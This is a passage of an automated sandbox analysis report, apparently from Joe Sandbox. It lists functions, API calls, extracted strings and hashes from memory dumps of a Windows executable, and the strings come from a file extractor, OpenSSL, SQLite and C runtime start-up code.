Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 10ad1ac658e299a32776e4f5c7df64e1b6feaa7ef6c238e08fbfef3a4424164a
Instruction ID: 7a8256f425ef56693fea974cd6de1fa983b96e23732f8caa7f317c581f33775f
Opcode Fuzzy Hash: 10ad1ac658e299a32776e4f5c7df64e1b6feaa7ef6c238e08fbfef3a4424164a
Instruction Fuzzy Hash: 02519061B0864392EA12BB119C111B9A3A2FFA07F4FE44535EE1C07BD6DE3CE5498F60

Function 00007FFBA60A5880 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 101COMMON

Download Yara Rule

APIs

00007FFBC92F6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBA60A58B8
00007FFBC92F6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBA60A58E9

Strings

ECDHE-ECDSA-AES128-GCM-SHA256, xrefs: 00007FFBA60A59F4
check_suiteb_cipher_list, xrefs: 00007FFBA60A5989
..\s\ssl\ssl_ciph.c, xrefs: 00007FFBA60A5995
SUITEB128C2, xrefs: 00007FFBA60A58DC
ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFBA60A59D1
ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFBA60A59D8, 00007FFBA60A59E8
SUITEB128, xrefs: 00007FFBA60A590F
SUITEB128ONLY, xrefs: 00007FFBA60A58A6
SUITEB192, xrefs: 00007FFBA60A593D

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: 00007F6570
String ID: ..\s\ssl\ssl_ciph.c$ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192$check_suiteb_cipher_list
API String ID: 118773457-1099454403
Opcode ID: d010dc04cde0d827dd4d4b2974a89dd33488d398655083e96dacdbd8a206bc00
Instruction ID: 9a7b53104b96b485d2394a07af2e1a9e2d7d1480de098e5b40ee394ad8e577a6
Opcode Fuzzy Hash: d010dc04cde0d827dd4d4b2974a89dd33488d398655083e96dacdbd8a206bc00
Instruction Fuzzy Hash: AB4181F1E1AA0696E7638B34E99037827A2FB54F94F409436DE0DC7694DF2CE5A0C700

Function 00007FFBA67E7760 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 327COMMON

Download Yara Rule

APIs

00007FFBBB593010.VCRUNTIME140 ref: 00007FFBA67E7AD2

Strings

UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFBA67E7B14
Cannot add a UNIQUE column, xrefs: 00007FFBA67E789C
cannot add a STORED column, xrefs: 00007FFBA67E7A72
SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFBA67E7C5C
SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFBA67E78F7, 00007FFBA67E7973, 00007FFBA67E7A81
Cannot add a column with non-constant default, xrefs: 00007FFBA67E7969
Cannot add a PRIMARY KEY column, xrefs: 00007FFBA67E7881
Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFBA67E790F
Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFBA67E78ED

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010
String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
API String ID: 2201947777-200680935
Opcode ID: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
Instruction ID: 5b48fb79781295ea829a825f609babce88a08958be73fcc2cee4c69132773bef
Opcode Fuzzy Hash: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
Instruction Fuzzy Hash: 8DE19CE1A1AB8285EB678B29E5647B963A6FB44FC4F044132CE8D07B95DF3CE459C301

Function 00007FFBAA494B80 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 134COMMON

Download Yara Rule

Strings

iy#, xrefs: 00007FFBAA494BD5
Unknown Bluetooth protocol, xrefs: 00007FFBAA494CA6
OiII, xrefs: 00007FFBAA494D37

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID:
String ID: OiII$Unknown Bluetooth protocol$iy#
API String ID: 0-1931379703
Opcode ID: 4d8043ebe678415ea9796c3876c5d0c2d5509b23804c6fd0dd0e404e45f50446
Instruction ID: 918caf3a13ef65030926914ba842d2a839050c38d1cbeeab0175b8c0ce086c60
Opcode Fuzzy Hash: 4d8043ebe678415ea9796c3876c5d0c2d5509b23804c6fd0dd0e404e45f50446
Instruction Fuzzy Hash: 435195A5A0EA43D2FA164B71E4C407D63A8FF45790F0041B1EE5E436E1EF2DE466C360

Function 00007FF72C652180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF72C6521AB
SelectObject.GDI32 ref: 00007FF72C6521F2
DrawTextW.USER32 ref: 00007FF72C652215
SelectObject.GDI32 ref: 00007FF72C65222B
ReleaseDC.USER32 ref: 00007FF72C65223B
MoveWindow.USER32 ref: 00007FF72C65228B
MoveWindow.USER32 ref: 00007FF72C6522CB
MoveWindow.USER32 ref: 00007FF72C65231E
MoveWindow.USER32 ref: 00007FF72C652366

Strings

P%, xrefs: 00007FF72C6521FF

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: c856e71026625c4dcf53e9d161458fe9742495b3ee8c397dc4c6480bcee77c74
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: B151E9366047A186D6349F36E4181BAF7A2FBA8B65F404125EFDE43694DF3CD045DB20

Function 00007FF72C6580C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF72C6580FF
GetWindowLongPtrW.USER32 ref: 00007FF72C65817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF72C658192
GetLastError.KERNEL32 ref: 00007FF72C65819C
SetWindowLongPtrW.USER32 ref: 00007FF72C6581B3

Strings

Needs to remove its temporary files., xrefs: 00007FF72C658185

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: c43abbecf4a9d3081e3c19240c48d32a48b423849fa415f034b3ea1467b0ae38
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 66218821B08A4381E7526B7AFC45179A352FFA8BF0F984531DB1D437D8DE2CD5958B20

Function 00007FFBA43D3A80 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBA43D3AA8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBA43D3AFA
_RTC_Initialize.LIBCMT ref: 00007FFBA43D3B28
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBA43D3B4E
__scrt_release_startup_lock.LIBCMT ref: 00007FFBA43D3B79

Memory Dump Source

Source File: 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp, Offset: 00007FFBA43D0000, based on PE: true

Associated: 00000008.00000002.1949827954.00007FFBA43D0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43DD000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43E0000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950013415.00007FFBA43E1000.00000080.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950056718.00007FFBA43E3000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba43d0000_program.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 6519944f3013d940d19d1b81a08512331dda30c88b389df6dfaebd19558cce86
Instruction ID: 9441ac3371657736457b4d9567160e3a1346b34013c137d63ce1b2f33c6b5408
Opcode Fuzzy Hash: 6519944f3013d940d19d1b81a08512331dda30c88b389df6dfaebd19558cce86
Instruction Fuzzy Hash: 33818DE1E0EE43D6FA52AB76E4C127966E0AF95780F244875DE0D873B6DE3CE8058700

Function 00007FFBAA4C2ED0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBAA4C2EF8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBAA4C2F4A
_RTC_Initialize.LIBCMT ref: 00007FFBAA4C2F78
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBAA4C2F9E
__scrt_release_startup_lock.LIBCMT ref: 00007FFBAA4C2FC9

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: cba752f9f13b0038c709412a55bb8b17be48a4cc59ac1a170ee7516abd8a6b31
Instruction ID: 4acc8f9c5471ca6bdfc2d69daa357b38622d9945180f0441402f1467f83ade77
Opcode Fuzzy Hash: cba752f9f13b0038c709412a55bb8b17be48a4cc59ac1a170ee7516abd8a6b31
Instruction Fuzzy Hash: A2818BE1E0A243D6FA53AF36D4412BAA2A8AF45780F5484B5FD0C47796DF6CF8078620

Function 00007FFBAA492A10 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBAA492A38
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBAA492A8A
_RTC_Initialize.LIBCMT ref: 00007FFBAA492AB8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBAA492ADE
__scrt_release_startup_lock.LIBCMT ref: 00007FFBAA492B09

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: d50f978ffc6665eb39f9add3952e07e3b3ad5350cb73a1dc24da42246009ca06
Instruction ID: 815694afbbda7cb0bb81bbaafbd0e94934c8f78a06141646438c914b4e6a5a1c
Opcode Fuzzy Hash: d50f978ffc6665eb39f9add3952e07e3b3ad5350cb73a1dc24da42246009ca06
Instruction Fuzzy Hash: D5819FA1E0E603C6F6569B36D4C12BD6398AF46780F5440B9FE0D477A6DE2CE8678720

Function 00007FFBA4172940 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBA4172968
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBA41729BA
_RTC_Initialize.LIBCMT ref: 00007FFBA41729E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBA4172A0E
__scrt_release_startup_lock.LIBCMT ref: 00007FFBA4172A39

Memory Dump Source

Source File: 00000008.00000002.1949490443.00007FFBA4171000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FFBA4170000, based on PE: true

Associated: 00000008.00000002.1949454231.00007FFBA4170000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41BA000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41C8000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421F000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949749489.00007FFBA4220000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949783531.00007FFBA4222000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba4170000_program.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
Instruction ID: e98e819fe2ce1434beeb0ac5b42c514262c9ecf84b4bfa8ba7c5d7c68db00640
Opcode Fuzzy Hash: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
Instruction Fuzzy Hash: 0F81AFA0E0E247C6FA67AB75D4C12796E90AF56780F544035DF0C57BB6DE3CE9468B00

Function 00007FFBA66A2C10 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBA66A2C38
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBA66A2C8A
_RTC_Initialize.LIBCMT ref: 00007FFBA66A2CB8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBA66A2CDE
__scrt_release_startup_lock.LIBCMT ref: 00007FFBA66A2D09

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 1a8d1f532519298a9da786a4129d135a06aa4afe88969801cf82f3079a6a7588
Instruction ID: 8be528e4e204b13d71ed9177a4f1a1ccb764ec7a586de06b95fe44c46117d0c6
Opcode Fuzzy Hash: 1a8d1f532519298a9da786a4129d135a06aa4afe88969801cf82f3079a6a7588
Instruction Fuzzy Hash: B081BEE0E4E64385F652AB3DDC412F966B6AFA5F80F486434DE0DD7696DE3CE8418E00

Function 00007FF72C666290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6662D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6666C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66695C

Strings

f, xrefs: 00007FF72C6663F5
:, xrefs: 00007FF72C66648C
p, xrefs: 00007FF72C666385
p, xrefs: 00007FF72C6663FD
-, xrefs: 00007FF72C666369

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: d6145e58236951280cdc39b865d6008e905f2ee23aaf1e4de42334ebbbf37fb7
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 4B127061E0824386FB227A15F954279F6B3FB60764FE4813DE68A466C4DF7CE5808F21

Function 00007FF72C660FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C661008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6613D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66166F

Strings

f, xrefs: 00007FF72C6610A0
f, xrefs: 00007FF72C661255
p, xrefs: 00007FF72C6610AD
f, xrefs: 00007FF72C66110A
p, xrefs: 00007FF72C661112

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 808a7fa6049103a88b91e57bc9f78050900597928f8c3b4ea897a958b3d5c613
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 17127461E0C14386FB21BA15EC54679F6B3FBA0764FE44039D69A47AC4DB7CE4808F60

Function 00007FF72C651050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72C6511F6
fread, xrefs: 00007FF72C6511FD
malloc, xrefs: 00007FF72C65110F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF72C651108
fseek, xrefs: 00007FF72C6510D3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72C6510CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF72C651098

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 7353426b42f42a82694b3592670e666301d967352ad9965b6266ed7fbff1557c
Instruction ID: f313f5aa19bce955fab23999e56595ac6e7fc054a09b00b6304cdae7fab1f308
Opcode Fuzzy Hash: 7353426b42f42a82694b3592670e666301d967352ad9965b6266ed7fbff1557c
Instruction Fuzzy Hash: CD41B521B0865381EA12FB129C016B9F396FFA4BE4FE44931EE0C07785DE3CE5458B60

Function 00007FF72C658660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF72C653CBB), ref: 00007FF72C658704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF72C653CBB), ref: 00007FF72C65870A
CreateDirectoryW.KERNEL32(?,00000000,00007FF72C653CBB), ref: 00007FF72C65874C

Part of subcall function 00007FF72C658830: GetEnvironmentVariableW.KERNEL32(00007FF72C65388E), ref: 00007FF72C658867
Part of subcall function 00007FF72C658830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF72C658889

Part of subcall function 00007FF72C668238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C668251

Part of subcall function 00007FF72C652810: MessageBoxW.USER32 ref: 00007FF72C6528EA

Strings

